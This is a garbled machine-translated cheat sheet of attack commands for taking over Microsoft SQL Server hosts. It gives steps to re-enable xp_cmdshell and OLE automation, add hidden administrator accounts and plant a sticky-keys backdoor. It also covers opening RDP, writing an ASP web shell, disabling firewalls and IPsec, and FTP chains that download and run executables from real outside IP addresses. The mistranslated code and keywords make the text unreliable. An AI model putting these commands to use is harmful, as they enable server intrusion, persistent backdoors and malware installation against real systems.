Opravárenské rozkazy z roku 1433
NET user SQLDebugger zoznam /add net localgroup administrators SQLDebugger /add
Chybová správa: Nepodarilo sa nájsť uloženú procedúru 'master.. xp_cmdshell'。
Metóda opravy: veľmi všeobecná, v skutočnosti sa dajú opraviť aj ďalšie 126 127 spolu,
Lenže xplog70.dll všetko ostatné sa dá opraviť týmto príkazom
xp_cmdshell nové metódy obnovy Krok 1: Vymazať: Postup zhody sp_addextendedproc Postup zhody sp_oacreate Výkonný sp_dropextendedproc 'xp_cmdshell' Server: Msg 3701, úroveň 11, stav 5, riadok 1 Nie je možné odstrániť proces 'sp_addextendedproc', pretože neexistuje v systémovom adresári. Server: Msg 3701, úroveň 11, stav 5, postup sp_dropextendedproc, riadok 18 Nie je možné odstrániť proces 'xp_cmdshell', pretože neexistuje v systémovom adresári. Krok 2 Zotavenie: dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") Priame obnovenie, bez ohľadu na to, či sp_addextendedproc existuje alebo nie
xplog70.dll opravy:
Chybová správa: DLL xplog70.dll alebo jeden z DLL odkazovaných DLL nebolo možné pripojiť. Dôvod: 126 (Špecifikovaný modul nie je k dispozícii.) )。
Opravte XPLOG70.DLL (najprv skontrolujte záložný adresár \x86\bin spolu so súborom a potom nahraďte nasledujúci adresár)
Krok 1 Výkonný sp_dropextendedproc 'xp_cmdshell' Krok 2 DBCC addextendedproc ("xp_cmdshell","c:\sql2KSP4\x86\binn\xplog70.dll")
Nepodarilo sa nájsť uloženú procedúru 'master.. xp_cmdshell'。 Krok 1: Postup vytvorenia sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (majiteľ.) Názov funkcie na volanie
*/ @dllname varchar(255)/* názov DLL obsahujúci funkciu */ ako Spusti implicit_transactions ak @@trancount > 0 začať. raiserror(15002,-1,-1,'sp_addextendedproc') return (1) koniec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc CHOĎ
Krok 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server blokoval prístup k procesu 'sys.xp_cmdshell' komponentu 'xp_cmdshell', pretože tento komponent bol vypnutý ako súčasť bezpečnostnej konfigurácie tohto servera. Systémoví administrátori môžu povoliť 'xp_cmdshell' pomocou sp_configure. Pre viac informácií o povolení xp_cmdshell pozri Peripheral App Configurator v sérii SQL Server Online Books.
; EXEC sp_configure 'zobraziť pokročilé možnosti', 1 -- ; PREKONFIGUROVAŤ S OVERRIDE -- ; VÝKONNÝ sp_configure 'xp_cmdshell', 1 -- ; PREKONFIGUROVAŤ S OVERRIDE -- ; EXEC sp_configure 'zobraziť pokročilé možnosti', 0 --
Odstráňte nebezpečné úložisko SQL: POSTUP DROP sp_makewebtask Výkonný majster.. sp_dropextendedproc xp_cmdshell Výkonný majster.. sp_dropextendedproc xp_dirtree Výkonný majster.. sp_dropextendedproc xp_fileexist Výkonný majster.. sp_dropextendedproc xp_terminate_process Výkonný majster.. sp_dropextendedproc sp_oamethod Výkonný majster.. sp_dropextendedproc sp_oacreate Výkonný majster.. sp_dropextendedproc xp_regaddmultistring Výkonný majster.. sp_dropextendedproc xp_regdeletekey Výkonný majster.. sp_dropextendedproc xp_regdeletevalue Výkonný majster.. sp_dropextendedproc xp_regenumkeys Výkonný majster.. sp_dropextendedproc xp_regenumvalues Výkonný majster.. sp_dropextendedproc sp_add_job Výkonný majster.. sp_dropextendedproc sp_addtask Výkonný majster.. sp_dropextendedproc xp_regread Výkonný majster.. sp_dropextendedproc xp_regwrite Výkonný majster.. sp_dropextendedproc xp_readwebtask Výkonný majster.. sp_dropextendedproc xp_makewebtask Výkonný majster.. sp_dropextendedproc xp_regremovemultistring Výkonný majster.. sp_dropextendedproc sp_OACreate POSTUP DROP sp_addextendedproc
Obnovenie rozšírených uložených procedúr Najskôr obnovte sp_addextendedproc, vyhlásenie je nasledovné: Najprv: Postup vytvorenia sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (majiteľ.) názov funkcie na volanie */ @dllname varchar(255)/* názov DLL obsahujúceho funkciu */ ako Spusti implicit_transactions ak @@trancount > 0 začať. raiserror(15002,-1,-1,'sp_addextendedproc') return (1) koniec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc CHOĎ
Po druhé: Použitie mastera Výkonný sp_addextendedproc xp_cmdshell, 'xp_cmdshell.dll' Exec sp_addextendedproc xp_dirtree, 'xpstar.dll' Exec sp_addextendedproc xp_enumgroups, 'xplog70.dll' Exec sp_addextendedproc xp_fixeddrives, 'xpstar.dll' Výkonný sp_addextendedproc xp_loginconfig, 'xplog70.dll' Výkonný sp_addextendedproc xp_enumerrorlogs, 'xpstar.dll' Výkonný sp_addextendedproc xp_getfiledetails, 'xpstar.dll' Výkonný sp_addextendedproc sp_OACreate, 'odsole70.dll' Výkonný sp_addextendedproc sp_OADestroy, 'odsole70.dll' Výkonný sp_addextendedproc sp_OAGetErrorInfo, 'odsole70.dll' Výkonný sp_addextendedproc sp_OAGetProperty, 'odsole70.dll' Výkonný sp_addextendedproc sp_OAMethod, 'odsole70.dll' Výkonný sp_addextendedproc sp_OASetProperty, 'odsole70.dll' Výkonný sp_addextendedproc sp_OAStop, 'odsole70.dll' Exec sp_addextendedproc xp_regaddmultistring, 'xpstar.dll' Výkonný sp_addextendedproc xp_regdeletekey, 'xpstar.dll' Výkonný sp_addextendedproc xp_regdeletevalue, 'xpstar.dll' Výkonný sp_addextendedproc xp_regenumvalues,'xpstar.dll' Exec sp_addextendedproc xp_regread, 'xpstar.dll' Výkonný sp_addextendedproc xp_regremovemultistring, 'xpstar.dll' Exec sp_addextendedproc xp_regwrite, 'xpstar.dll' Exec sp_addextendedproc xp_availablemedia, 'xpstar.dll'
Vymažte príkaz, ktorý rozširuje uloženú procedúru xp_cmdshell: Výkonný sp_dropextendedproc 'xp_cmdshell'
Obnovenie SQL príkazu cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Open príkaz cmdshell SQL exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Zistite, či existuje rozšírenie úložiska Vyberte count(*) z master.dbo.sysobjects, kde xtype='x' a meno='xp_cmdshell' Výsledok je 1 a je to v poriadku
Obnovte xp_cmdshell exec master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Vyberte count(*) z master.dbo.sysobjects, kde xtype='x' a meno='xp_cmdshell' Výsledok je 1 a je to v poriadku Inak nahrajte xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Block the sql príkaz v cmdshell sp_dropextendedproc "xp_cmdshell
Jeden. Zmena metódy SA hesla: Po pripojení k SQL Comprehensive Utilization Tool vykonajte príkaz: exec sp_password NULL, 'nové heslo', 'sa' (Tip: používajte opatrne!)
Dva. Jednoducho opravte slabé heslo.
Metóda 1: Dotazujte sa na rozbočovač po pripojení: ak existuje (vybrať * z dbo.sysobjects, kde id = object_id(N'[dbo].[ xp_cmdshell]') a OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exeec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
CHOĎ Potom stlačte kláves F5 na vykonanie príkazu
Metóda 2: Dotaz po pripojení rozbočovača Prvým krokom je vykonať: použiť master Krok 2: sp_dropextendedproc 'xp_cmdshell' Potom stlačte kláves F5 na vykonanie príkazu
DLL xpsql70.dll alebo niektorý z DLL odkazovaných DLL nie je možné pripojiť. Dôvod 126 (Špecifikovaný modul sa nedá nájsť. ) Metóda obnovy: Po dotaze na spoj rozbočovača, Krok 1: sp_dropextendedproc "xp_cmdshell" Krok 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Funkcia xp_cmdshell sa nenachádza v knižničnom xpweb70.dll. Dôvod: 127 (Špecifikovaný program nie je dostupný.) ) Metóda obnovy: Po dotaze na spoj rozbočovača, Krok 1 Realizácia: výkonný sp_dropextendedproc 'xp_cmdshell' Krok 2: sp_addextendedproc výkonný xp_cmdshell, "xpweb70.dll" Potom stlačte kláves F5 na vykonanie príkazu
Ak žiadna z vyššie uvedených metód nie je obnoviteľná, skúste pridať účet priamo pomocou nasledujúcich metód: Po dotaze na spoj rozdeľovača, Systém 2000servser: declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP alebo 2003Server System: Chyba 126! Poradie
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server blokoval prístup k procesu 'sys.xp_cmdshell' komponentu 'xp_cmdshell', pretože tento komponent bol vypnutý ako súčasť bezpečnostnej konfigurácie tohto servera. Systémoví administrátori môžu povoliť 'xp_cmdshell' pomocou sp_configure. Pre viac informácií o povolení xp_cmdshell pozri Peripheral App Configurator v sérii SQL Server Online Books.
Vyjadrenia vykonané analyzátorom:
EXEC sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; EXEC sp_configure 'xp_cmdshell', 1; REKONFIGUROVAŤ;
Niekedy, pri vykonávaní vyššie uvedených príkazov pomocou spojenia s dotazovacím detachrom, uložená procedúra sa nedá nájsť sp_addextendedproc
Obchádzka:
Postup vytvorenia sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (majiteľ.) Názov funkcie na volanie */ @dllname varchar(255)/* názov DLL obsahujúci funkciu */ ako Spusti implicit_transactions ak @@trancount > 0 začať. raiserror(15002,-1,-1,'sp_addextendedproc') return (1) koniec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc CHOĎ Tento kód sa vloží do rozdeľovača dotazov a vykoná
Explorer:
c:\windows\explorer.exe
Zobraziť obsah Výkonný master.dbo.xp_subdirs 'C:\' Zoznamové disky Výkonný majster.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',0 Vyberte * from OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Vyberte * from OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor verzia 5.00 >3389.reg Ozvena. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Enabled"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabl"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_USERS\. DEFAULT\Rozloženie klávesnice\Prepínač] >>3389.reg echo "Hotkey"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg
Open 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal','fDenyTSConnections','REG_DWORD',0; --
Pas 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConctions','REG_DWORD',1;
Pozrite si port 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal\Server\WinStations\RDP-Tcp','PortNumber'
Bežné zadné dvere CMD xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spustenia obrazových súborov\sethc.exe', 'debugger','reg_sz', 'c:\windows\system32\cmd.exe'
win2K ide priamo na PS Mar Výkonný majster.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',1 select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo zbohom>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP priamo na PS koňoch Výkonný majster.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',1 select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo zbohom>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Presunúť príkaz zadných dvierok deklarujte @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
deklarujte @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
kopírovať c:\windows\explorer.exe c:\windows\system32\sethc.exe Kopírovať c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
deklarujte @o int Exec sp_oacreate 'wscrip remove t.shell', @o out exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX je príkaz, ktorý chcete vykonať
Zapíšte hodnotu zadanú v kľúči špecifikovanom v registri), pomocou metódy (zapíšte bbb do kľúča HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC, majster.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
@echo otvoriť 121.22.56.5>c:\bin.txt&@echo zoznam>>c:\bin.txt&@echo zoznam>>c:\bin.txt&@echo získaj gzn.exe>>c:\bin.txt&@echo bye>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Najprv ftp.exe skopírujte do adresára wmpub @echo CD c:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL píše vetu výkonný master.dbo.xp_subdirs 'd:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' ' '
Propagácia SA Sandbox Mode ----- ---------------------- Výkonný majster.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBox Mode','REG_DWORD',0; ------------------------------------------------------- Vyberte * from OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Vyberte * from OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
ZMENA 3389
Použitá veta: Invázia EXEC, majster.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spustenia obrazových súborov\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Obnova EXEC, majster.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spustenia obrazových súborov\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Únos obrazu
EXEC, majster.. xp_regwrite --- toto je úprava registra! @rootkey='HKEY_LOCAL_MACHINE', ---Toto je tá pozícia! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spustenia obrazových súborov\sethc. EXE', -----Toto je tiež tá pozícia! @value_name='Debugger', --- toto je názov tabuľky! @type='REG_SZ', --- tu je význam písania! @value='C:\WINDOWS\explorer.exe' ---- tu je písaný obsah!
Celý proces spočíva v používaní mastera: xp_regwrite je táto zložka hotová,
1.sql príkaz na dotaz, či bol prilepený kľúč registra prevzatý
Výkonný majster.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql príkaz preberie funkciu prilepených kláves v registri a nahradí ju správcom úloh (samozrejme, môžete ju nahradiť inými príkazmi, ktoré chcete).
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spustenia obrazových súborov\sethc.exe', 'Debugger','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'
3.sql príkaz na odstránenie funkcie prevzatia z pripnutého kľúča registra chráni váš server pred zneužitím ostatnými
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spustenia obrazových súborov\sethc.exe'
SQL zápisové súbory
deklarujte @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Skripty bez NET eskalácie
struser=wscrip na odstránenie t.arguments(0) strpass=wscrip na odstránenie t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) od. SetPassword strpass od. SetInfo Set of=GetObject(oz&"/" & struser & ",user") Oe. Add(of. ADsPath)
Pre každého admina v OE. Členovia ak struser=admin. Názov potom Wscrip odstránil t.echo struser a "Úspešne založené!" wscrip na odstránenie t.quit koniec ak Ďalej
Wscrip odstrániť t.echo struser & "User Establishment failed!" Uložte si vyššie uvedené ako používateľa. VBS súbor Potom vykonať: cscrip na odstránenie hesla používateľského mena user.vbs
Použitím režimu JET sandbox môžete riešiť problémy spôsobené uloženými procedúrami, ako sú XP_cmdshell a súvisiace knižnice dynamických prepojení. Z bezpečnostných dôvodov systém predvolene nezapína režim sandbox, ktorý vyžaduje, aby xp_regwrite zapli režim sandbox:
Výkonný master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines', 'SandBox Mode', 'REG_DWORD',1
Potom spustite príkaz sandbox na pridanie používateľského mena testu s heslom 1234 do systému:
select * from openrowset('microsoft.jet.oledb.4.0','; Database=c:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
select * from openrowset('microsoft.jet.oledb.4.0','; Database=c:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrátori testujú /add")')
Rôzne operačné systémy majú rôzne cesty a je potrebné ich upravovať podľa situácie:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Okrem toho sú v Microsoft SQL Server 2005 niektoré uložené procedúry predvolene zatvorené a na otvorenie vyžadujú príkazy:
Zapnite XP_cmdshell:
EXEC sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; VÝKONNÝ sp_configure 'xp_cmdshell', 1; REKONFIGUROVAŤ;
Otvorte 'OPENROWSET':
Výkonný sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; Výkonný sp_configure 'Ad hoc distribuované dotazy',1; REKONFIGUROVAŤ;
Zapnite 'sp_oacreate':
Výkonný sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; Výkonný sp_configure 'Ole Automation Procedures',1; REKONFIGUROVAŤ;
Tu je niekoľko situácií, kde je príkaz na vykonanie pod sa nesprávny: 1. DLL xpsql70.dll alebo DLL, na ktoré DLL odkazuje, sa nedajú načítať. Dôvod 126 (Špecifikovaný modul sa nedá nájsť. ) Táto situácia je pomerne bežná a oprava je jednoduchá a jednoduchá, ale existujú určité podmienky. Ak dokážete adresár v tomto prípade uviesť (pri sqltools v2.0 je funkcia adresára), gratulujem k tejto 80% situácii, dá sa to vyriešiť, ak dokážete adresár vymenovať, stačí nájsť cestu xplog70.dll a vykonať nasledujúci príkaz. Krok 1 exec sp_dropextendedproc 'xp_cmdshell' (tento príkaz slúži na vymazanie pôvodného cmdshellu, pretože už bol pokazený) Krok 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'zobraziť pokročilé možnosti', 0 – Samozrejme, ide o SQL príkaz, ktorý sa vykonáva pomocou analyzátora dotazov. C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll v druhom kroku je cesta xplog70.dll, táto cesta je pomerne bežná, ak ju C disk nemá, môžete nájsť iné písmená disku. 2. Nemôžem nájsť funkciu xp_cmdshell v knižnici xpweb70.dll. Dôvod: 127 (Špecifikovaný program nie je dostupný.) ) V skutočnosti je to to isté ako vyššie uvedených 126, teda cmdshell je nesprávny, pokiaľ nájdete zálohu xplog70.dll postupujete vyššie uvedenou metódou na opravu. 3. Nepodarilo sa nájsť uloženú procedúru 'master'. xpcmdshell' V tomto prípade vidím na internete, že metóda je: Krok 1: Vymazať: Postup zhody sp_addextendedproc Postup zhody sp_oacreate Výkonný sp_dropextendedproc 'xp_cmdshell' Krok 2 Zotavenie: dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") V skutočnosti je to stále rovnaké ako vyššie uvedené, v skutočnosti, ak ste opatrní, vyššie uvedené 126 127 zlyhá nájsť len uloženú procedúru 'master:. xpcmdshell', pretože prvým krokom je vymazať uloženú procedúru v cmdshell. Takže v tomto prípade stačí postupovať podľa druhého kroku vyššie. 4. Chybová správa: SQL Server zablokoval prístup k spracovaniu 'sys.xp_cmdshell' komponentu 'xp_cmdshell', pretože tento komponent bol vypnutý ako súčasť bezpečnostnej konfigurácie tohto servera. Systémoví administrátori môžu povoliť 'xp_cmdshell' pomocou sp_configure. Pre viac informácií o povolení xp_cmdshell pozri Peripheral App Configurator v sérii SQL Server Online Books. Táto situácia je najjednoduchšia, pretože nemusíte na nič myslieť, stačí vykonať nasledujúci príkaz ; EXEC sp_configure 'zobraziť pokročilé možnosti', 1 -- ; PREKONFIGUROVAŤ S OVERRIDE -- ; VÝKONNÝ sp_configure 'xp_cmdshell', 1 -- ; PREKONFIGUROVAŤ S OVERRIDE -- ; EXEC sp_configure 'zobraziť pokročilé možnosti', 0 –
Po vyššie uvedenej oprave môžeš vykonať príkaz cmd a začneš zvyšovať svoju silu. Zvyčajne najskôr skontrolujem IP, či je to intranet, potom REG dotaz HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber na kontrolu terminálového portu, a potom netstat –an, aby som zistil, či je terminál otvorený, a potom net user password / Pridajte používateľa a potom nesiete localgroup administrators user /add Ak všetko pôjde dobre, tento server vypne. Ale v procese je veľa problémov. 1. Čisté zvýšenie výkonu je úspešné, ale nemôže sa pripojiť k terminálu Existujú nasledujúce situácie (1) Server je na intranete. (2) Screening TCP/IP. Najskôr spustite nasledujúci príkaz cmd: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, exportujte prvú časť registra pre filtrovanie TCP/IP cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, exportujte druhú časť registra pre filtrovanie TCP/IP cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", exportujúc tretie miesto v registri o filtrovaní TCP/IP Potom sa vráťte na disk c 1.reg, 2.reg, 3.reg, stiahnite 1.reg, 2.reg 3.reg späť na pevný disk na úpravu, nájdite pole EnableSecurityFilters a zistite, či je kľúčová hodnota po dword 00000000, ak je 00000001, znamená to, že administrátor vykonal filtrovanie tcp/ip, stačí zmeniť 1 na 0, 2. Reg a 3.reg robia rovnaké zmeny. (3) Vytvoriť politiku bezpečnosti duševného vlastníctva. Spustiť príkaz cmd: cmd /c net stop policyagent na zastavenie služby IPSEC. Pripojte terminál znova. (4) Prihlasovacie oprávnenie nastaveného na terminál od administrátora môže použiť iba určený používateľ. (5) Firewall. Spustiť príkaz cmd: net stop alg /ynet stop sharedaccess
2. Objaví sa eskalácia NET a prístup je zamietnutý Môžete skúsiť používateľské heslo používateľa net1 /add Ak net1 tiež odmieta prístup, môžete skopírovať shfit backdoor a skúsiť vykonať príkaz cmd: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Kopírovať c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe Ak sa na to vyzve, skopírujte jeden súbor, ktorý sa ukáže ako úspešný. Pripojte sa k terminálu a stlačte 5 shift, aby ste videli, čo sa zobrazí. Hrajte s Kaka Explorerom, teraz jednoducho pridajte používateľa ručne. 3. Dochádza k eskalácii s chybou odmietnutia prístupu 5 (zvýraznenie) V tomto prípade nemusíš skúšať net1, môžeš skúsiť copy shift backdoor, ak sa kópia vyzve na skopírovanie súboru 0, dokazuje to, že to nie je úspešné. Potom to môžete skúsiť nahrať, ak sa vám to podarí, môžete priamo poslať ne-net nástroj na eskaláciu napájania, ktorý vyšiel pred časom, a potom pridať používateľa. Ale väčšinu týchto prípadov nie je možné nahrať, takže o tom treba premýšľať. Keďže cmd je možné spustiť, súbor je možné stiahnuť cez cmd pod ftp, ale predpokladom ftp je schopnosť zapisovať text alebo dávkovo spracovávať. Potom môžete napísať text alebo batch cez SQL príkaz. deklarujte @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp účet' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (no net escalation script) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL, 'bye' Po úspešnom spustení analyzátora dotazov sa na disku C objaví 1.bat (ak je vykonanie úspešné, ale disk C tam nie je, môžete zmeniť priečinok na zápis, pretože koreňový adresár disku C na ktorom serveri zakazuje zápis) Potom cmd vykoná ftp -s:c:\1.bat Po vykonaní si stiahnete ne-net eskalačný skript na FTP na CFT disku alebo priamo napíšete VBS eskalačný skript deklarujte @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Potom cmd vykoná cscrip na odstránenie t c:\1.vbs 4. Predchádzajúci je opravený na vykonávanie príkazov cmd, ale po niektorých opravách sa objavia nové problémy (1) Správa: Počas vykonávania xp_cmdshell došlo k chybe. Volanie 'CreateProcess' zlyhalo s chybovým kódom: '5'. Chyba 5 je číslo chyby vyžadované systémom, CreateProcess znamená vytvorenie vlákna, táto generácia 